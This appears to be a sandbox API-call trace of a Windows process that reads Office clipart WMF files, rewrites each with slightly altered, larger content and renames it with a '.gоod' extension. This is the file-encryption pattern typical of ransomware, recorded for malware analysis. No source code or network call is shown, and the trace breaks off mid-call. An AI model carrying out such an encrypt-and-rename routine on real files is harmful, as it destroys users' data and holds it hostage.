1 [0160.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.184] GetFileType (hFile=0x644) returned 0x1 [0160.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.184] GetFileType (hFile=0x644) returned 0x1 [0160.184] ReadFile (in: hFile=0x644, lpBuffer=0x3536948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3536948*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0160.211] CloseHandle (hObject=0x644) returned 1 [0160.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0160.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.212] GetFileType (hFile=0x644) returned 0x1 [0160.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.212] GetFileType (hFile=0x644) returned 0x1 [0160.212] WriteFile (in: hFile=0x644, lpBuffer=0x35356a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35356a0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0160.212] CloseHandle (hObject=0x644) returned 1 [0160.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFilePart=0x0) returned 0x44 [0160.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0160.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0160.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5bb5caa9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19f8)) returned 1 [0160.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0160.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.gоod")) returned 1 [0160.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", lpFilePart=0x0) returned 0x44 [0160.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0160.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35b2d38 | out: lpFileInformation=0x35b2d38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c)) returned 1 [0160.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0160.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", lpFilePart=0x0) returned 0x44 [0160.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0160.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.214] GetFileType (hFile=0x644) returned 0x1 [0160.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0160.214] GetFileType (hFile=0x644) returned 0x1 [0160.214] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x83c [0160.214] ReadFile (in: hFile=0x644, lpBuffer=0x35b3820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x35b3820*, lpNumberOfBytesRead=0x1faedc88*=0x83c, lpOverlapped=0x0) returned 1 [0160.475] CloseHandle (hObject=0x644) returned 1 [0160.502] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", lpFilePart=0x0) returned 0x44 [0160.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0160.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.504] GetFileType (hFile=0x644) returned 0x1 [0160.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0160.504] GetFileType (hFile=0x644) returned 0x1 [0160.504] WriteFile (in: hFile=0x644, lpBuffer=0x361a8b8*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x361a8b8*, lpNumberOfBytesWritten=0x1faedb98*=0x840, lpOverlapped=0x0) returned 1 [0160.505] CloseHandle (hObject=0x644) returned 1 [0160.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF", lpFilePart=0x0) returned 0x44 [0160.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0160.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0160.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5be0b11b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x840)) returned 1 [0160.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0160.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.gоod")) returned 1 [0160.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0160.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0160.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x361bb48 | out: lpFileInformation=0x361bb48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418)) returned 1 [0160.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0160.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0160.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0160.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0160.507] GetFileType (hFile=0x644) returned 0x1 [0160.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0160.507] GetFileType (hFile=0x644) returned 0x1 [0160.507] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0160.507] ReadFile (in: hFile=0x644, lpBuffer=0x361bf60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x361bf60*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0162.213] CloseHandle (hObject=0x644) returned 1 [0162.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0162.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0162.257] GetFileType (hFile=0x644) returned 0x1 [0162.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.257] GetFileType (hFile=0x644) returned 0x1 [0162.257] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2418 [0162.257] WriteFile (in: hFile=0x644, lpBuffer=0x3599578*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3599578*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0162.258] CloseHandle (hObject=0x644) returned 1 [0162.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0162.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0162.258] GetFileType (hFile=0x644) returned 0x1 [0162.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.258] GetFileType (hFile=0x644) returned 0x1 [0162.258] ReadFile (in: hFile=0x644, lpBuffer=0x359b838, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x359b838*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0162.286] CloseHandle (hObject=0x644) returned 1 [0162.286] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0162.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0162.286] GetFileType (hFile=0x644) returned 0x1 [0162.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.286] GetFileType (hFile=0x644) returned 0x1 [0162.286] WriteFile (in: hFile=0x644, lpBuffer=0x359a590*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x359a590*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0162.287] CloseHandle (hObject=0x644) returned 1 [0162.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFilePart=0x0) returned 0x44 [0162.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0162.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0162.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5cf07f1f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2428)) returned 1 [0162.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0162.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.gоod")) returned 1 [0162.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", lpFilePart=0x0) returned 0x44 [0162.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0162.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3617c28 | out: lpFileInformation=0x3617c28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928)) returned 1 [0162.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0162.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", lpFilePart=0x0) returned 0x44 [0162.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0162.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.561] GetFileType (hFile=0x768) returned 0x1 [0162.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0162.561] GetFileType (hFile=0x768) returned 0x1 [0162.561] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x928 [0162.561] ReadFile (in: hFile=0x768, lpBuffer=0x3311ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3311ba8*, lpNumberOfBytesRead=0x1faedc88*=0x928, lpOverlapped=0x0) returned 1 [0162.563] CloseHandle (hObject=0x768) returned 1 [0162.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", lpFilePart=0x0) returned 0x44 [0162.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0162.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.592] GetFileType (hFile=0x768) returned 0x1 [0162.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0162.592] GetFileType (hFile=0x768) returned 0x1 [0162.592] WriteFile (in: hFile=0x768, lpBuffer=0x338c048*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x338c048*, lpNumberOfBytesWritten=0x1faedb98*=0x930, lpOverlapped=0x0) returned 1 [0162.812] CloseHandle (hObject=0x768) returned 1 [0162.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF", lpFilePart=0x0) returned 0x44 [0162.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0162.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0162.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d418f5d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x930)) returned 1 [0162.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0162.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.gоod")) returned 1 [0162.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0162.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0162.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x33a6ed8 | out: lpFileInformation=0x33a6ed8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac)) returned 1 [0162.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0162.813] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF", lpFilePart=0x0) returned 0x44 [0162.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0162.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0162.813] GetFileType (hFile=0x768) returned 0x1 [0162.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0162.814] GetFileType (hFile=0x768) returned 0x1 [0162.814] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0162.814] ReadFile (in: hFile=0x768, lpBuffer=0x33a72f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x33a72f0*, lpNumberOfBytesRead=0x1faedd28*=0x7ac, 